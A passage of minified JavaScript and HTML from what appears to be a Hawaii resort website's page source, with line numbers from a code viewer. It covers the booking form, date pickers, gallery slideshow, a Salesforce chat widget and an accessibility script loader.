Availability"})}catch(n){}f=="residences"?(e=$("#bookAdults").val(),$("#clusterCode").length>0&&$("#clusterCode").remove(),i="https://maunakearesidences.com/vacation-rentals/?guests="+e+"&start_date="+r+"&end_date="+u,setTimeout(function(){window.open(i,"_blank")},300)):($("#bookPromo").val()!=""?$(t).append('<input type="hidden" id="clusterCode" name="clusterCode" value="corp" />'):$("#clusterCode").length>0&&$("#clusterCode").remove(),setTimeout(function(){t.submit()},300))});document.addEventListener("keydown",function(n){const t=$("body");n.key==="Escape"&&t.hasClass("book-active")&&t.removeClass("book-active")});setTimeout(function(){n();e();f();$(".dine-scripts .ot-dtp-picker-selector").append('<i class="arrow"><\/i>')},1500)}();$LAB.script("/js/vendors/site/litepicker.js").wait().script("/js/vendors/site/litepicker.keyboard.js").wait(function(){function i(n){let t=n.nextElementSibling;while(t){if(window.getComputedStyle(t).display!=="none")return t;t=t.nextElementSibling}return null}const r=$("#bookCheckIn"),t=$("#bookCheckOut"),n=new Date;const f=new Litepicker({element:document.getElementById("bookCheckIn"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date-1,firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",n=>{const i=n;i.setDate(i.getDate()+1);u.setDate(i);r.addClass("has-value");t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}}),u=new Litepicker({element:document.getElementById("bookCheckOut"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date(n.getFullYear(),n.getMonth(),n.getDate()+1),firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",()=>{t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}})}).script("/js/vendors/site/input-spinner-v2.js").wait(function(){function t(){$(".field-promo").slide
4572Up();$(".field-room").slideUp();$(".field-children").slideUp();$("#bookPromo").attr("readonly",!0);$("#isSearch").attr("readonly",!0);$("#clusterCode").attr("readonly",!0);$("#numberOfRooms").attr("readonly",!0);$("#bookChildren").attr("readonly",!0);$("#bookAdults").attr("data-max","10");$(".mobile-book-notice").removeClass("active");var n=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",n).spinner("changing",function(){})}catch(t){}}function n(n){if(n){let t=$('[data-promo="'+n+'"]');$(".book-promo-slide").fadeOut().promise().done(function(){$(".book-promo-slide").find("a").attr("tabindex",-1);t.fadeIn();t.find("a").attr("tabindex",0)})}}function i(){let i=location.pathname;if(i.includes("westin-hapuna-beach-resort"))$("#staySelect").val("KOAWI").trigger("change");else if(i.includes("mauna-kea-residences"))$("#staySelect").val("residences").trigger("change");else{let i=$("#staySelect").val(),r=$("#staySelect").find("option:selected").index();i=="residences"&&t();n(i)}}function r(){let r=location.pathname.toLowerCase()=="/wifi";if(r){let i=$("#book-tab-2"),u=$("#book-tabpanel-2");$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-wrap [role="tabpanel"]').hide();u.show();let t=$(".dine-scripts .ot-restaurant-picker select").val();t==0&&(t="40177");n(t)}}$("#staySelect").off("input").on("input",function(){var i=$(this),r=i.val();let f=i.find("option:selected").index(),u=$(".mobile-book-notice");setTimeout(function(){if(n(r),r=="residences")t();else{$(".field-promo").slideDown();$(".field-room").slideDown();$(".field-children").slideDown();$("#bookPromo").removeAttr("readonly");$("#isSearch").removeAttr("readonly");$("#clusterCode").removeAttr("readonly");$("#numberOfRooms").removeAttr("readonly",!0);$("#bookChildren").removeAttr("readonly",!0);$("#bookAdults").attr("data-max","4");r=="KOAAK"?u.addClass("active"):u.removeClass("active");var f=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",f).spinner("changing",function(){})}catch(e){}}i.blur()},300)});$("body").off("input").on("input",".dine-scripts .ot-restaurant-picker select",function(){const i=$(this);let t=i.val();t==0&&(t="40177");setTimeout(()=>{n(t),i.blur()},300)});$(".book-tab").off("click").on("click",function(){const i=$(this),u=i.attr("aria-controls"),r=$(`#${u}`);let f=i.data("tab"),t;$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-content [role="tabpanel"]').not(r).fadeOut();r.fadeIn();f=="dine"?(t=$(".ot-restaurant-picker select").val(),t==0&&(t="40177")):t=$("#staySelect").val();n(t)});try{$("#guestsSpinner, #roomSpinner, #childrenSpinner").spinner("changing",function(){})}catch(u){}setTimeout(function(){r();i()},1500)}),function(){function t(){n.hasClass("slick-initialized")&&n.slick("unslick");n.off("init").on("init",function(t,i){setTimeout(function(){objectFitPolyfill();n.removeClass("loading");i.slideCount>1&&u()},250)});n.off("beforeChange").on("beforeChange",function(){objectFitPolyfill()});n.on("afterChange",function(n,t,r){let u=t.slideCount,f=r+1,e="Slide "+f+" of "+u;i.textContent=e});n.slick(r)}
4572function u(){const t=document.querySelector(".js-hero-ctrl");t.classList.remove("is-hidden");t.addEventListener("click",function(){t.classList.contains("is-play")?(t.classList.remove("is-play"),t.setAttribute("aria-pressed","false"),t.setAttribute("aria-label","Pause slideshow"),t.setAttribute("title","Pause slideshow"),n.slick("slickNext"),n.slick("slickPlay")):(t.classList.add("is-play"),t.setAttribute("aria-pressed","true"),t.setAttribute("aria-label","Play slideshow"),t.setAttribute("title","Play slideshow"),n.slick("slickPause"))})}const i=document.querySelector(".js-hero-hint"),n=$(".hero"),r={lazyLoad:"ondemand",lazyLoadBuffer:0,speed:500,fade:!0,cssEase:"linear",autoplay:!0,autoplaySpeed:7e3,pauseOnHover:!1,draggable:!1,pauseOnFocus:!1,responsive:[{breakpoint:1025,settings:{draggable:!0}},]};t();$(window).on("init-hero-tour",t)}();$LAB.script("/js/vendors/site/jquery.magnific-popup.min.js").wait(function(){function e(){get(location.pathname+"?gallery-action=get").then(function(n){let u=JSON.parse(n);t=u.data;get("/js/site/gallery.json?v=6").then(function(n){let i=JSON.parse(n);t.videos=i.videos;t.tour=i.tour}).then(function(){r=i in t?i:f}).then(function(){o(r);s(r)}).then(function(){h();l()})}).catch(function(n){console.log(n)})}function l(){i?i in t&&$(".gallery-tabs").find('[data-gallery="'+i+'"]').addClass("active"):$(".gallery-tabs").find('[data-gallery="'+f+'"]').addClass("active")}function o(n){let i=t[n].list,r="";for(let n=0;n<i.length;n++)r+='<div class="gallery-tile is-zoom"><div><img src="'+i[n].thumbImg+'" width="360" height="294" alt="'+i[n].caption+'" class="object-fit"><\/div><button type="button" class="btn-gallery js-btn-gallery" aria-label="Show Gallery"><\/button><div class="gt-caption">'+i[n].caption+"<\/div><\/div>";u.empty().append(r);setTimeout(function(){objectFitPolyfill();u.removeClass("loading")},500)}function s(i){let r=t[i].list,u="";for(let n=0;n<r.length;n++)u+=r[n].videoSrc?'<div><figure class="gallery-slide"><div class="video-container"><video preload="none" controls playsinline disablePictureInPicture controls controlsList="nodownload" class="object-fit" poster="'+r[n].largeImg+'"><source src="'+r[n].videoSrc+'" type="video/mp4"><\/video><\/div><figcaption>'+r[n].caption+"<\/figcaption><\/figure><\/div>":r[n].tourSrc?'<div><figure class="gallery-slide has-tour"><iframe src="'+r[n].tourSrc+'" id="vm-truetour-iframe" style="border: 0px none;" allowfullscreen="true" webkitallowfullscreen="true" mozallowfullscreen="true" width="720" height="600"><\/iframe><figcaption>'+r[n].caption+"<\/figcaption><\/figure><\/div>":'<div><figure class="gallery-slide"><div class="gs-img"><img src="'+r[n].largeImg+'" alt="'+r[n].caption+'" class="object-fit"><\/div><figcaption>'+r[n].caption+"<\/figcaption><\/figure><\/div>";n.empty().append(u)}function a(){$.magnificPopup.open({items:{src:"#gallery-popup"},type:"inline",mainClass:"mfp-fade",removalDelay:300,callbacks:{open:function(){$("body").addClass("gallery-pop-active");setTimeout(function(){$(".gallery-pop .slick-next").focus()},250)},close:function(){$("body").removeClass("gallery-pop-active");v();n.removeClass("arrows-hidden")}}})}function v(){n.hasClass("slick-initialized")&&(n.slick("unslick"),n.empty())}function y(t){let i=t?t:0;n.off("init").on("init",function(){setTimeout(function(){n.slick("setPosition");n.find(".has-tour").length&&n.addClass("arrows-hidden")},500)});n.on("beforeChange",function(n,t,i){let r=c.querySelector('[data-slick-index="'+i+'"]');if(r.querySelector("video")){let n=r.querySelector("video");n.paused||n.pause()}});n.slick({lazyLoad:"ondemand",initialSlide:i,fade:!0})}function p(n){n.preventDefault();const t=$(n.target).closest(".gallery-tile").index();s(r);y(t);a()}function h(){const n=document.querySelectorAll(".js-btn-gallery"),t=Array.prototype.slice.call(n);t.forEach(function(n){n.addEventListener("click",p)})}function w(n){n&&(u.addClass("loading"),u.empty(),o(n),h(),r=n)}function d(n){n.preventDefault();const t=document.querySelector(".gallery-tabs-list .active");t&&t.classList.remove("active");n.currentTarget.classList.add("active");let i=this.dataset.gallery;w(i);history.replaceState(null,null," ")}const u=$(".gallery-grid"),n=$(".js-gallery-slider"),c=document.querySelector(".js-gallery-slider");let t,i=location.hash.replace("#","").toLowerCase(),f="stay",r="";$("#gallery-reflow").on("click",function(){e()});const b=document.querySelectorAll(".js-gallery-tab"),k=Array.prototype.slice.call(b);
4572k.forEach(function(n){n.addEventListener("click",d)});e()});$LAB.script("/js/vendors/site/jquery.magnific-popup.min.js").wait(function(){var n=$(".eclub-pop-form .js-input");n.blur(function(){tmpval=$(this).val();tmpval==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});n.each(function(){$(this).val()&&$(this).addClass("has-value")})}) 4573 //end 4574 $.noConflict(); 4575 4576 if($.attachReady) 4577 $ = $.attachReady(jQuery); 4578 4579 } 4580 _hdmq.add(coreLoaded); 4581 //after core inline 4582 4583 //end 4584 4585 if (window.addEventListener) 4586 window.addEventListener("load", afterBodyLoad, false); 4587 else if (window.attachEvent) 4588 window.attachEvent("onload", afterBodyLoad); 4589 else window.onload = afterBodyLoad; 4590 }()); 4591 </script>
4591 4592 4593
4594<script type='text/javascript'> 4595 function initEmbeddedMessaging() { 4596 try { 4597 embeddedservice_bootstrap.settings.language = 'en_US'; // For example, enter 'en' or 'en-US' 4598 4599 embeddedservice_bootstrap.init( 4600 '00D6g0000036jvL', 4601 'Agentforce_Web_Service_Deployment', 4602 'https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877', 4603 { 4604 scrt2URL: 'https://princeresortshawaii12345.my.salesforce-scrt.com' 4605 } 4606 ); 4607 } catch (err) { 4608 console.error('Error loading Embedded Messaging: ', err); 4609 } 4610 }; 4611</script>
vendor: 2 bytes, line 4611
4611
4612<script type='text/javascript' src='https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877/assets/js/bootstrap.min.js' onload='initEmbeddedMessaging()'></script>
4612 4613 4614 4615
4616<script type="text/javascript"> 4617 _hdmq.add(function () { 4618 !function () { var t = function () { var t = document.createElement("script"); t.src = "https://ws.audioeye.com/ae.js", t.type = "text/javascript", t.setAttribute("async", ""), document.getElementsByTagName("body")[0].appendChild(t) }; "complete" !== document.readyState ? window.addEventListener ? window.addEventListener("load", t) : window.attachEvent && window.attachEvent("onload", t) : t() }(); 4619 }); 4620</script>
4620 4621 4622 </body> 4623</html> 4624
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.